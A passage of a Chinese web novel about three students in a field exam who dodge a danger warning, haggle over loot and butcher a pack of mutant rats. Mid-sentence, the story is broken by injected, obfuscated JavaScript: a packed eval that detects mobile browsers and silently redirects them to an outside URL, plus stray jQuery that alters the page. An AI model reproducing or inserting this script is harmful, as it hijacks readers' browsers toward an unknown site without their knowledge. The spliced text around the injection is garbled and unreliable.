易颛乾干活特别利索,和薄槐唠那两句嗑的功夫已经轻松将甲壳拆卸下来,拿出试剂熟练处理干净后交给她。
听见她疑惑的声音凑过去看:“哪里?我瞅瞅。”
薄槐将地图投影放大,离他们大概二十公里外的某片林地,颜色变成了刺眼的深红。
易颛乾一惊,语速飞快的同时手上动作也没停:“是高级异变种出没预警,不在考生能处理的范围内,我们得避开。”
“这么突然?要是路上撞见怎么办?”薄槐看了眼他忙碌的后脑勺,往旁边挪两步,贴心让出脚下踩着的半截触须。
“学校肯定在处理了,离我们这么远,绝对不可能碰到的,放心吧。”
易颛乾装好最后一块碎片,顺手将锄头递回给她:“喏,还你,拿着当防身武器应该也能挺趁手。”
薄槐接过颠了颠,觉得他说的有道理。
森凃警觉回头:他怎么好像又听见背后传来奇怪的声音?
薄槐不想动脑,森凃不爱讲话,易颛乾作为队里唯一有经验的正常人,自觉走在最前面领路。
为了让两人安心,他边走边解释:“考试场地都是提前清理过的,同时配有安全员和巡查机器人,以便及时应对突发状况,能最大程度保证考生安全。”
“预警主要是提醒已经在附近的人抓紧撤离,以免在安全员动手时被波及。”
“估计从林子内部跑出来的异变种吧,考生活动范围到不了那么深,学校就没清理干净。可能就一两只,用不了几分钟就能解决。”
他话音刚落,地图上标红的片区颜色恢复正常。
易颛乾停住脚:“你看,我没说错吧。”
他们走得不算特别快,偏离原定路线没多远,现在预警解除,可以继续按照原计划行动。
“要不要绕回去?现在转弯来得及。”易颛乾看着两人问,“你俩害怕不?”
薄槐用云淡风轻的表情给出答案,森凃在她身后默默摇头。
“太好了,咱们马上改道。”易颛乾非常开心,“那条线效率更高,能采到资源也多,放弃怪可惜的。”
薄槐扭头看了眼身后坑坑洼洼的地面,一时间讲不出话。
从来没见过有人能像蝗虫过境一样,走到哪扒到哪,连树根底下的草皮都得交点保护费。
她还算镇定的,森凃看上去快碎了。
不过好处也很明显,有易颛乾这样尽心尽力的队友在,他们团队任务中和野外资源有关的加分项几乎完全不需要操心。
在即将抵达下一个猎杀点的时候,易颛乾招呼两人过去分东西:“你们挑一下,看有没有基础任务能用的。”
薄槐惊讶于他的大方,还没等开口就听见下一句:“刷完分记得还我,需要上交的之后折算成星币就行,一份二百,谢谢惠顾!”
森凃刚刚抬起的手定住,纠结要不要收回去。
薄槐看了眼易颛乾装物资的背包,双手环胸淡淡道:“你要偷渡出去卖?我记得举报按钮在……”
指尖搭在胸口的隐形传呼器上,薄槐挑眉看着一秒石化的易颛乾,笑容格外恶劣。
易颛乾:她之前不是连地图在哪都没看到吗!怎么知道能举报这回事!
薄槐伸手,从地上一堆物资中挑出自己需要的,在易颛乾不情不愿的憋屈眼神下得意收好:“封口费。我很善良的,没多拿奥。”
森凃站在一旁大气不敢出,生怕被卷进两人的黑色交易里。
猝不及防手中被塞了满满一把,他下意识搂住,懵逼抬头。
薄槐眼疾手快拦住要抢回去的易颛乾,在他悲伤痛哭的声音中笑容越发放肆:
“来来来,见者有份,别客气!”
森凃默默将东西收进背包。只要他低下头,就不会被闻者伤心见者落泪的破碎视线淹没!
易颛乾幽怨抱紧自己瘪下去的私库,赌气站在旁边不讲话,势要与没良心的队友抗议到底。
森凃坐立难安,只能看着光脑上暴涨的积分抚平歉疚情绪。
薄槐踩着坡上凸起的石头往下看,将洼地里浑然不觉死期将至的几十只异变种尽收眼底。
“只要一只吗?”薄槐扭头问道。
森凃凑近两步,小幅度点头。
易颛乾暂停单方面冷战,点开任务列表勾选出几项团队任务:“都收拾了吧,这一群分一分,每人至少能刷十五分。”
森凃有点惶恐,想说他们只有三个人,这样做太危险了,结果还没等开口就看见薄槐在旁边淡定颔首。
像是同意午饭吃什么那般随意。
一句话卡在嗓子眼,森凃不知第几次怀疑自己是不是真的有问题。
“你能打多少?”薄槐在空中划出一条线,“一半?三分之一?”
易颛乾神色奇怪的看她一眼:“又不是就咱俩上,这还有个人呢。”
“他……”薄槐欲言又止,很想说那位看起来两只都够呛。
森凃自然听出薄槐未尽之意,埋着头迅速胀红了整张脸,连脖子都染上绯色。
“召唤师用魔法叫来帮手之后很能打的!”易颛乾替队友辩白,“你自己不也是吗?”
薄槐没见识过什么召唤师什么死灵法师,她也不了解,确实有些先入为主了。
但她也没有看不起森凃的意思,只是觉得按人家这性格,应该不是好战分子。
“不好意思,没有想小瞧你。”薄槐解释道,“只是你看起来似乎不太想打架。”
“又不是亲身上阵,有什么想不想的。”易颛乾眼神充满怀疑,“你真是召唤师吗?”
薄槐不置可否:“我不一样。你们先挑,剩下我包圆。”
这下连易颛乾都瞪大了眼:“真假?你打算咋包圆?”
薄槐抡起手里的锄头,在空中抛上抛下:“用这个。”
“啊?”
两道震惊的声音重叠在一起,薄槐稀奇侧目看了眼迅速埋头的社恐小男孩。
“啊什么,赶紧挑吧,我急死了!”薄槐迫不及待催促道,“你们根本不懂战斗党的快乐!”
“你真能打?”见薄槐点头,易颛乾迟疑报数,“那我要十只。打完之后都交给我处理就行,不收钱。”
对上两人惊诧的眼神,他没好气道:“干什么!我善良不行吗?!”
“我也可以十只。”森凃小声开口。
“行,剩下二十七只都归我了。”薄槐点头点的很干脆,“你们打不完扔给我。”
“你真能打吗?别逞强。”易颛乾还是不放心,“我们可以分批解决的,时间不紧。”
“你贴心的样子让我想起家里那位。”薄槐眼神复杂,“但他从不会在干仗这方面质疑我的能力。”
说完这句她扭过头,眼中像点起火把般迅速燃烧起炙热的火光:“等不及了,我先冲!”
易颛乾甚至没来得及看清她的动作,眨个眼的功夫,某人“嗖”一下直接跳下去了。
“我靠!这离地至少五十米啊!”
易颛乾吓得差点从石头上掉下去,看见那道拎着锄头的身影在空中辗转腾挪,轻盈的如同一片落叶般无声无息,简直瞳孔地震。
他忍不住薅着旁边同样呆滞的森凃问:
“不是,你们召唤师现在已经进化到这种程度了吗?同为脆皮,怎么不带我们死灵法师一起玩!”
森凃比易颛乾还茫然,连手臂被抓住都没意识到。
好强的身体素质,他也想要!
御空诀捏住,薄槐踩着风从坡上落下,直接闪现进场。
E级异变种没有智慧,一群三足老鼠形态的怪物甚至没有发现身边多出来的不速之客。
薄槐原本想用灵力批量割喉,但最近在家宅久了骨头痒,纠结半秒后果断选择松松筋骨。
实战经验过于丰富的人不需要动脑思考,肌肉会先于意识动起来。
手中锄头一提,薄槐零帧起手,就近拿下两个斩杀。
血腥味蔓延,忙于进食的异变种们才发现危险已然降临。
但不会思考的怪物们第一反应不是逃亡,而是被本能控制着,接二连三扑向散
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590180|171867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发出香气的新鲜食物。
比它们更躁动的,是“食物”本身。
不甚锋利的锄头被舞出断头铡刀的气势,薄槐一脚踩住腿边扑上来的老鼠,在碾碎它头骨的同时,手边已经多了三具身首分离的尸体。
扭了扭脖子,薄槐嘴角牵出一抹肆意的弧度,那张本来疏冷锋利的脸上多出几分诡异的灿烂,日头正盛的天气里让人脊背生寒。
短短三分钟,围绕在她周围的异变种已经倒了一片,形成一片真空地段。
再怎么没有脑子,怪物也知道求生这回事。当发现同伴迅速减少而食物愈发兴奋时,它们终于意识到不对劲,开始蠢蠢欲动试图逃跑。
杀了一圈还没满二十七只,薄槐玩得正嗨,甩掉锄头上沾着的血肉抬脚就要继续。
鞋底堪堪碰到耗子皮,还没踩实,背后猝然传来一声——
“脚下留尸!!!”
易颛乾连滚带爬从老虎背上翻下来,气都没喘匀先把她脚底那具无头尸拖走老远,看着切口平整的尸体无比心痛:
“太浪费了!”
他环视满地没几只完整的异变种,瞪向薄槐的眼神充满指责与控诉:
“你个败家孩子!这都是钱啊!!!”
森凃坐在地龙背上,对易颛乾敢冲杀红眼的煞神大声说话的行为充满了敬佩。
他无法理解,但深刻意识到钱能抵万难这句话在易颛乾心中的分量。
薄槐被吼得一愣,停在半空的脚半晌才落地,连眼中跃动的火苗都消退几分。
她踌躇片刻,锄头在手中颠了颠:“我杀的不对吗?”
“当然不对了!”易颛乾痛心疾首。
“这类异变种最值钱就是皮毛和骨架,完整的价值能翻上好几倍!我的手艺处理起来肯定没问题,但你自己看看!哪有我施展的空间!”
薄槐非常谦虚好学:“那我应该怎么杀?”
“从这,干脆利落捅一刀。”易颛乾在老鼠心脏处比划,“或者从腹部竖着剖开也行,尽量不要破坏其他皮毛。”
“行。”薄槐应一声,拎着锄头转身朝缓慢往后退的异变种走去。
易颛乾看见她这么听话本来还挺开心,等人走出去两步才猛地一拍脑门,回身匆忙招呼还愣着不敢上前的森凃:
“快快快赶紧上!等会一分都抢不到了!”
森凃从同行不同实力的队友的伟岸身姿中回过神来,被易颛乾这么一提醒才想起来自己的主要目的。
他也顾不上尸体的完整性了,慌乱抬手,一枪精准击穿异变种的头,先把基础任务完成。
等看到列表显示「已完成」的字样,才从莫名的紧迫感中松一口气。
他一抬头,对上易颛乾略显惊讶的探究目光。
没停留多久,很快敢和煞神叫板的某人已经积极投身进处理尸体的事业当中。
本来说好薄槐只用杀二十七只,剩下二十另外两人对半分。结果最后变成易颛乾和森凃一人保底一只,其余四十五只全丧命于那把锄头下。
哦对,后来剥皮剔骨时也用上了这把锄头。
薄槐战火一熄就跟被抽干精气似的,瘫在易颛乾叫来的老虎亡灵身上装死,旁边趴着森凃召唤来的地龙。
两只本来应该在战斗中大显身手的动物,现在心甘情愿变成了她的靠垫。
那边易颛乾忙的热火朝天,这边刚运动完的薄槐在休养生息,剩下全程几乎没出过力的森凃站在空地上手足无措。
“站着干嘛,过来坐。”薄槐抽空招呼他。
森凃十分不好意思。
两人都为团队做了很多,只有他什么都没帮上,白白得到许多物资和积分,像个废物一样。
“各有各擅长,不要焦虑。”
薄槐看出他的想法,有气无力安慰道:“再说了,白嫖多好啊!省心又省力,我巴不得。”
森凃红着脸,垂头不敢看她:“我……”
一句话尚未出口,背后猝然传来异样的响动,他持枪迅速靠近队友身边,警觉抬头:“谁!”